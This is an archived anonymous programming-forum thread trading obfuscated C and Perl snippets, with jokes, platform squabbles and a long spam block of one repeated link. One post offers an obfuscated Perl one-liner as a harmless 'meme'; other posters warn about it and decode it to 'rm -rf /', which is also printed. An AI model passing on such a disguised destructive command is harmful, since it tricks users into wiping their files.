Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-4041-

obfuscated code

Name: Anonymous 2007-11-09 21:00

ITT, obfuscated code that makes you LOL when you run it.

// build with GCC
#include <stdio.h>
int main(int c,char**v) {
        char *s="B+p:ubYBGG0,|M3B=1*0N\n"
                "it's touring complete\n",*k[]={s+21,--s};
        return c?({while(main(!k,k))putchar(**k^*k[1]-10);0;}):(v[1]++,*++*v);
}

Name: Anonymous 2007-11-09 22:32

I lolled.

Name: Anonymous 2007-11-09 23:02

#include <ctype.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
 long long cat=strtol("ADD42190",NULL,15);
 int(*f[2])(int)={toupper,tolower};
 char*s=&cat;
 for(--s;*++s=f[arc4random()%2](*s););
 puts(&cat);
 return 0;
}

Name: Anonymous 2007-11-09 23:12

>>3
better:
#include <ctype.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
 long long cat=strtol("ADD42190",NULL,15);
 int(*f[2])(int)={toupper,tolower};
 for(;;puts(&cat))for(char*s=&cat;*s=f[arc4random()%2](*s);++s);
 return 0;
}

Name: Anonymous 2007-11-10 1:19

>>1,3,4
reposts of posts of reposts

Name: Anonymous 2007-11-10 3:45

Iterate 10 times

for (int i=0; i<10; ++i)
{
}

Name: Anonymous 2007-11-10 3:54

>>6
You idiot, that iterates 11 times

Name: Anonymous 2007-11-10 3:59

how many times does this iterate? The answer may shock you
for(int i=10; i<20; ++i)
{
}

Name: Anonymous 2007-11-10 6:06

>>8
once, duh.

Name: Anonymous 2007-11-10 11:31

main(c,r) {
  for(r=32;r;) {
    printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");
  }
}


remove newlines and whitespaces for added pleasure

Name: Anonymous 2007-11-10 13:23

>>7
it iterates 11 times
0
1
2
3
4
5
6
7
8
9

...

Name: Anonymous 2007-11-10 13:27

>>11
>>7 iterates 10 times.
0 - 9

Name: Anonymous 2007-11-10 13:29

>>12
AW SHIT .. im an idiot.

Name: Anonymous 2007-11-10 13:40

>>3
>>4
Only work on BSD/OS X.

>>4
Needs -std=c99.

Name: Anonymous 2007-11-10 13:43

>>14
Only work on BSD/OS X.
lies
NEeds -std=c99
Or just long long supported.

also, http://dis.4chan.org/read/prog/1184582920

Name: Anonymous 2007-11-10 13:49

>>15
My GNAA/Lunix system doesn't have arc4random.

Name: Anonymous 2007-11-10 13:52

>>16
#define arc4random rand

Name: Anonymous 2007-11-10 13:52

>>15
Or just long long supported.
No, my gcc errors out if you try to declare variables inside the for loop initialization without -std=c99.

Name: Anonymous 2007-11-10 15:15

ITT CF(L)AGS

Name: Anonymous 2007-11-10 17:37

I'M THE SUSSMAN
SON OF A BITCH ABELSON
ABELSON IS PIG
DO YOU WANT PYTHON?
DO YOU WANT FORCED INDENTATION OF THE CODE?
ABELSON IS PIG DISGUSTING
GUIDO VAN ROSSUM IS A MURDERER
FUCKING ABELSON

Name: Anonymous 2007-11-10 17:50

>>17
every modern operating system has arc4random.

Name: Anonymous 2007-11-11 0:13

>>21
FreeBSD... modern?

Name: Anonymous 2007-11-11 3:47

>>22
OS X, DragonFly, FreeBSD, NetBSD, OpenBSD, MirOS, Linux with uClibc ...

Name: Anonymous 2007-11-11 4:25

Microsoft Windows

Name: Anonymous 2007-11-11 4:29

>>24
XP can be good, if you know how to use it. That's for M$.

Name: Anonymous 2007-11-11 14:42

http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska

Name: Anonymous 2007-11-12 1:53

here, hav sum delicious soviet meme

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Name: Anonymous 2007-11-12 2:40

>>27
IF I HAVEN'T SEEN IT, IT'S NEW TO ME

Name: Anonymous 2007-11-12 5:08

>>25
No

Name: Anonymous 2007-11-12 6:10

>>1
touring=turing

Name: Anonymous 2007-11-12 7:15

>>27
Warning, fork bomb

Name: Anonymous 2007-11-12 7:28

Lol, are your unices so vulnerable to this kind of thing? Windows NT behaves greatly.

Name: Anonymous 2007-11-12 7:42

>>32
Are your penises vulnerable?

Name: Anonymous 2007-11-12 7:47

>>33
Is you anunses valuable?

Name: Anonymous 2007-11-12 9:24

I should have spent more time with that >>32 troll.

Name: Anonymous 2007-11-12 10:38

>>27
Valid perl code.

Name: Anonymous 2007-11-13 4:52

>>30
lurk the fuck more

>>27
awesome

Name: Anonymous 2007-11-13 5:10

[spoiler]Equivalent code slightly deobfuscated:
$_ = "=]=>%-{<-|}<&|`{/";
tr~ -/:-@[-`{-}~`-{/" -~;
eval $_;

should be able to figure it out from there. Not that this is very well obfuscated, as it's mostly reliant on a simple character substitution.

cute little one-liner, though, and good for teaching dumbasses not to exec code unless they know what it does[/spoiler]

Name: Anonymous 2007-11-13 5:11

Oh fuck you too shiichan.

Name: Anonymous 2007-11-13 5:36

spoiler outside. code inside.

Name: Anonymous 2007-11-13 6:19

>>38
Dumbass, your valid perl code is wrong.

$ perl foo
Bareword found where operator expected at foo line 1, near ""rm -rf /"o"
        (Missing operator before o?)
syntax error at foo line 1, near ""rm -rf /"o"
Execution of foo aborted due to compilation errors.

Name: Anonymous 2007-11-13 19:31

>>38

system"rm -rf /"o

lol syntax error. Nice try though.

Name: ​​​​​​​​​​ 2010-10-26 2:28

Name: Anonymous 2011-01-31 21:27

<-- check em dubz

Name: Anonymous 2011-02-04 19:00


Don't change these.
Name: Email:
Entire Thread Thread List